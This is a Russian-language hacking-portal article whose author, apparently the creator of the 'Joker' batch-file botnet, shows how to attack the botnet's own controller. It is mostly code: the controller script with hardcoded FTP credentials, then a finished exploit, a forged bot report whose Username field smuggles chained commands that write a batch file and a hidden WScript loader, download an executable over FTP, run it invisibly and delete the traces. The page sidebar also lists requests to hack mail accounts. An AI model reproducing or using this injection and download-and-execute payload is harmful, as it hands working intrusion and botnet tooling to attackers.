Нажмите CTRL-D чтобы добавить нас в закладки
HackZone.RU - Joker Botnet - контратака
Войти / Регистрация / Участники
Определение даты выпуска iPhone по серийному номеру
-
Поиск по сайту
Форумы



Реклама

Поиск ТОП Добавить публикацию

Joker Botnet - контратака

26.03.2009

Итак Вы наверное читали мою статью Joker - плацдарм для вторжения или Сделай Botnet Сам!

Если нет, то рекоммндую прочитать.

Это не вторая часть, а отдельная статья, так как речь здесь пойдет во многом совершенно об ином. А именно
об уязвимостях.

Если Вы читали, то знаете, что пароли в боте не шифруются и не скрываются. Поэтому любой у кого он будет сможет залезть на фтп и посмотреть отчеты ботов или постирать их. Но это лишь малая часть. Гораздо интереснее было бы достать самого хозяина этого ботнета )) Но как? Ведь файлы отчета просматриваются довольно таки безопасным образом. Рассширение не стандартное, да и просматриваются с помощью type "имя файла". И никак тут екзе вроде бы не запихнуть ((

Для того чтобы обнаружить ошибку где не достаточно выставлена фильтрация одним поверхностным изучением Joker Master не обойтись (именно его нужно атаковать, т.к. им и управляет хозяин ботнета). А поскольку именно я и создавал Joker Master то и ошибку искать было легче. Конечно наверное мне интереснее было б если бы это был не я, но раз никто не сподвигся... Сразу же скажу что ошибка сделана не преднамеренно, сам я ее нашел тоже не сразу. И закрывать не собираюсь, так как тогда все написанное ниже будет не так интересно ))

Давайте всмотримся в такую команду:

echo                     View Bot Online Status --) Checking Status... --)


Вроде все чисто и ничего опасного нету. Это верно, его то тут и нету, т.к. это статичный текст.

Давайте тогда взглянем на такое:

set status="123"
...
echo  %status%


Здесь вместо переменной %status% вставиться то, что она содержит (а именно "123").
А если в переменной окажется что-то другое? Например такое: 123&start calc.exe
Тогда вся команда будет выглядеть вот так: echo 123&start calc.exe
Что эквивалентно такому:

echo 123
start calc.exe


И запуститься калькулятор!
И вроде данного не должно быть, должны просто вывестись данные на экран ))Но нет и это хорошо. А ведь цепочку можно продолжить добавляя &команда&команда и т.д.

Теперь просто нужно найти что-нибудь подобное в мастере в переменную которого мы сможем засунуть, то что нам надо. Вот часть кода, которая отвечает за сбор ответов от ботов о выходе в онлайн:

rem ****************************************************************************************************************
:statuscheck
echo.
echo                     View Bot Online Status --) Checking Status... --)
echo.
echo.
:statuscheck2
if exist *.bot del /q /f *.bot > NUL
if exist *.bo1 del /q /f *.bo1 > NUL
if exist debugstatusget.dat del /q /f debugstatusget.dat > NUL
ncftpget -d debugstatusget.dat -u bigbro -p 32fd32 -W "cd htdocs" ftp.drivehq.com "." "*.bot"
ping -n 5 127.0.0.1 > NUL
cls
set /a onlinebots=0
set /a bots=0
echo.
echo  Status  ^| Time  ^|    Date    ^| Number ^| Computername:Username
echo ==================================================================
for %%b in (*.bot) do (echo %%b>names.dat & goto statuscheck1)
set /a nobots=1
echo I have no answers from bot(s)...
echo ------------------------------------------------------------------
echo.
goto %label%

:statuscheck1
set status="123"
set /p name=<names.dat
set /p text=<%name:~0,-1%

if "%name:~4,1%" == "." set botnumber=%name:~0,4%
if "%name:~4,1%" neq "." set botnumber=%name:~0,5%
if "%name:~3,1%" == "." set botnumber=%name:~0,3% 
if "%name:~2,1%" == "." set botnumber=%name:~0,2%  
if "%name:~1,1%" == "." set botnumber=%name:~0,1%   


set bottime=%text:~0,5%
set bottime2=%bottime::=%
if "%bottime2:~0,1%" == " " (set bottime2=%bottime2:~1,3% & if "%bottime2:~1,1%" == "0" (set bottime2=%bottime2:~2,2% & if "%bottime2:~2,1%" == "0" set bottime2=%bottime2:~3,1%))

set mytime=%time:~0,5%
set mytime2=%mytime::=%
if "%mytime2:~0,1%" == " " (set mytime2=%mytime2:~1,3% & if "%mytime2:~1,1%" == "0" (set mytime2=%bottime2:~2,2% & if "%mytime2:~2,1%" == "0" set mytime2=%mytime2:~3,1%))

set pbotdate=%text:~12,10%
set botdate=%pbotdate:.=%
set botdate=%botdate:/=%
set botdate=%botdate:-=%
set botdate2=%botdate:~4,4%%botdate:~2,2%%botdate:~0,2%

set mydate=%date:.=%
set mydate2=%mydate:~4,4%%mydate:~2,2%%mydate:~0,2%

set /a timedif=%mytime2%-%bottime2%
set /a datedif=%mydate2%-%botdate2%

rem echo ddof: %mydate2%**%botdate2%

rem echo datedif: %datedif%

set /a bots=bots+1
if "%datedif%" == "0" (@if %timedif% gtr 6 set status=Offline)
if "%datedif%" == "0" (@if %timedif% leq 6 set status=Online & set /a onlinebots=onlinebots+1)
if "%datedif%" gtr "0" set status=Offline


findstr "Computername" %name% > compnames.dat
findstr "Username" %name% > usernames.dat

set /p uname=<usernames.dat
set /p cname=<compnames.dat

ren %name% "%name:~0,-2%1

echo  %status% ^| %text:~0,5% ^| %text:~12,10% ^| %botnumber%  ^| %cname:~14%:%uname:~14%
echo ------------------------------------------------------------------
if exist *.bot for %%b in (*.bot) do (echo %%b>names.dat & goto statuscheck1)
echo.
set /a nobots=0
if "%onlinebots%"=="0" echo  All(%bots%) bots - offline...
if %onlinebots% gtr 0 echo  %onlinebots% of %bots% bot(s) - online!
ren *.bo1 *.bot > NUL
echo.
goto %label%


Итересная строка:

echo  %status% ^| %text:~0,5% ^| %text:~12,10% ^| %botnumber%  ^| %cname:~14%:%uname:~14%


Из всего этого наибольший для меня представляет интерес последняя переменная %uname:~14% а точнее ее содержимое, начиная с 14 символа, но это не столь важно. Переменная хороша тем, что при ее выводе размер данных не ограничен, главное чтобы данные начинались с 14 позиции.

Посмотрим что при нормальных обстоятельствах в ней:

set /p uname=<usernames.dat

Ок, в нее направляетсья вывод с файла usernames.dat


findstr "Username" %name% > usernames.dat

В файл usernames.dat данные попадают, когда команда findstr находит строку содержащую "Username" в файле, имя которого содержится в переменной %name%. Именно содержащая "Username" строка и попадет.


set /p name=<names.dat

- В переменную %name% имя попадает с файла names.dat


for %%b in (*.bot) do (echo %%b>names.dat & goto statuscheck1)

- А в файл names.dat записываються имена файлов с рассширением .bot по одному (цыкл их перебирает).

Итак имеем что данные в вывод попадают со строки содержащей "Username" файлов *.bot

Вот к примеру мой файл 10000.bot:

18:41:32,32-11.03.2009
Computername: COMP
Username    : ADMIN


Настройка протокола IP для Windows





VMware Network Adapter VMnet8 - Ethernet адаптер:



        DNS-суффикс этого подключения . . :

        IP-адрес  . . . . . . . . . . . . : 192.168.150.1

        Маска подсети . . . . . . . . . . : 255.255.255.0

        Основной шлюз . . . . . . . . . . :


Интересна строка: Username    : ADMIN
Если посчитать, то видно, что ADMIN начинаеться как раз с 14 позиции что соответсвует обозначенному в командном
файле мастера. А теперь, как я писал, просто прибавим команды:

start calc.exe
start notepad.exe


Содержимое файла после модификации:

18:41:32,32-11.03.2009
Computername: COMP
Username    : ADMIN&start calc.exe&start notepad.exe


Настройка протокола IP для Windows





VMware Network Adapter VMnet8 - Ethernet адаптер:



        DNS-суффикс этого подключения . . :

        IP-адрес  . . . . . . . . . . . . : 192.168.150.1

        Маска подсети . . . . . . . . . . : 255.255.255.0

        Основной шлюз . . . . . . . . . . :


Эксплойт готов! Можно засылать.

Заходим вручную на фтп и заменяем этим файлом старый что лежит. Открываем мастер: 1 - 1
Ждем... строиться список. Что это? Почему запустился калькулятор и блокнот?
хехе)) вот он наш эксплойт в действии!!

Заметте таблица чистая, никаких ошибок не наблюдаеться (ну по крайней мере у меня). О том что будут выполняться какие-то наши левые команды тоже ничего не написано. А они ведь выполнились! И если бы приложения были невидимыми, то владелец мастера возможно и не узнал бы, что его атаковали!

Но что страшного скажете Вы в запуске блокнота и калькулятора. ОК, понимаю.
Сделаем по серьезней!

Итак подготовка шелл кода...

Что он будет делать? Он будет связываться с нашим (можно и "врага") фтпшником, скачивать приложение
(например второго бота, но настроенного уже нами) и запускать его на выполнение. Самое главное, что все это будет совершаться незаметно!

Чтобы скачать и установить файл нужен такой командный файл: (поскольку мы запускаем с директории мастера, где уже и лежит ncftpget.exe) Итак содержимое contrattack.bat:


if exist ncftpget.exe ncftpget.exe -u ftpuser -p ftppass -W "cd htdocs" ftphost "." Joker.exe
if exist Joker.exe Joker.exe
del /q /f Joker.exe
del /q /f contrloader.js
del /q /f contrattack.bat


(напомню что если это ваш фтп то файл Joker.exe должен лежать в нем в папке htdocs)
После запуска Joker.exe командный файл ожидает когда тот завершит работу. После завершения он будет удален, вместе с загрузчиком и самым командным файлом, дабы не привлекал внимания отдыхая в папке мастера. Чтобы запустить командный файл в скрытом режиме нужен загрузчик. Итак contrloader.js:


//[ContrLoader by BRe@K]
var Jwsh = WScript.CreateObject("WScript.Shell");
try{Jwsh.Run("cmd.exe /C contrattack.bat", 0);}
catch(e){}


И вот наш шелл-код в предварительном виде:

echo if exist ncftpget.exe ncftpget.exe -u ftpuser -p ftppass -W "cd htdocs" ftphost "." Joker.exe >> contrattack.bat
echo if exist Joker.exe Joker.exe >> contrattack.bat
echo del /q /f Joker.exe >> contrattack.bat
echo del /q /f contrloader.js >> contrattack.bat
echo del /q /f contrattack.bat >> contrattack.bat
echo //[ContrLoader by BRe@K] > contrloader.js
echo var Jwsh = WScript.CreateObject("WScript.Shell"); >> contrloader.js
echo try{Jwsh.Run("cmd.exe /C contrattack.bat", 0);} >> contrloader.js
echo catch(e){} >> contrloader.js
start contrloader.js


А вот в окончательном виде уже готовый эксплойт (шелл команды записаны в строчку через "&"):


18:41:32,32-11.03.2009
Computername: COMP
Username    : ADMIN&echo if exist ncftpget.exe ncftpget.exe -u ftpuser -p ftppass -W "cd htdocs" ftphost "." Joker.exe >> contrattack.bat&echo if exist Joker.exe Joker.exe >> contrattack.bat&echo del /q /f Joker.exe >> contrattack.bat&echo del /q /f contrloader.js >> contrattack.bat&echo del /q /f contrattack.bat >> contrattack.bat&echo //[ContrLoader by BRe@K] > contrloader.js&echo var Jwsh = WScript.CreateObject("WScript.Shell"); >> contrloader.js&echo try{Jwsh.Run("cmd.exe /C contrattack.bat", 0);} >> contrloader.js&echo catch(e){} >> contrloader.js&start contrloader.js


Настройка протокола IP для Windows





VMware Network Adapter VMnet8 - Ethernet адаптер:



        DNS-суффикс этого подключения . . :

        IP-адрес  . . . . . . . . . . . . : 192.168.150.1

        Маска подсети . . . . . . . . . . : 255.255.255.0

        Основной шлюз . . . . . . . . . . :


Итак боевой сплоит готов, заливаем на фтп!

Когда мастер запросит онлайн статус своих ботов будет сюрприз )) Хозяин незаметно сам станет ботом )))

Надеюсь статья пришлась по душе )

P.S: Статья писалась исключительно в ознакомительных целях и за все последствия после ее прочтения я ответственности не несу.

Copyright(C) BRe@K Специально для портала HackZone.RU

При копировании материалов ссылка на HackZone.RU обязательна

Добавить страницу в закладки

 Детали
Категория: Взлом
Опубликовал: BRe@K
Просмотров: 12807
Проголосовало через SMS: 0
Ключевые слова: создание botnet, joker, (найти похожие документы)
  Разместить у себя на сайте
Прямая ссылка
HTML
BBCode ссылка
BBCode ссылка с текстом

 Комментарии (оставить свой комментарий можно здесь)
Огромный респект) статья высшая)
06.04.2009 / Bb0y
Спасибо)
22.04.2009 / BRe@K
Только зарегистрированные пользователи могут оставлять комментарии

Зарегистрироваться *** Авторизоваться


 Последние новости и статьи  Последние сообщения с форумов
  • WhatsApp уверяет пользователей, что Facebook не имеет доступа к и...
  • Однострочная команда в Windows 10 может повредить жесткий диск с ...
  • Кардерский форум Joker’s Stash объявил о закрытии
  • Релиз ядра Linux 5.9
  • Российские хакеры вооружились уязвимостью Zerologon
  • Тысячи приватных звонков американских заключенных оказались в отк...
  • Шифровальщик атаковал немецкую компанию Software AG
  • Злоумышленники используют службу Windows Error Reporting для бесф...
  • Microsoft предупредила о вымогателях, которые выдают себя за МВД ...
  • Инфостилер Valak ворует информацию из почтовых систем Microsoft E...

    Все новости... Все статьи... Прислать новость RSS
  • Взлом и безопасность / Разное » Re: Помощь в скачивании платного файла
  • Взлом и безопасность / Разное » Помощь в скачивании платного файла
  • Разное / Куплю, приму в дар » куплю | ваш аккаунта | получение нового | описание внутри
  • Разное / Предложения работы » Специалиста
  • Downloads / Другое » Re: Нужна база емайл адресов юр. лиц
  • Downloads / Другое » Нужна база емайл адресов юр. лиц
  • Разное / Предложения работы » Нужен взлом mail и gmail почты
  • Взлом и безопасность / Разное » Re: Нужна помощь в скачивании файла
  • Взлом и безопасность / Разное » Нужна помощь в скачивании файла
  • Разное / Предложения работы » требуется взлом почт на постоянной основе

    Все форумы... RSS


  • Разместить рекламу
    © HackZone Ltd. 1996-2020. Все права зарегистрированы.
    Перепечатка материалов без согласования и указания источника будет преследоваться по Закону

    О проекте | История проекта | Размещение рекламы | Обратная связь | Правила поведения на портале
    contador de visitas счетчик посещений

    #{title}

    #{text}

    x

    #{title}

    #{text}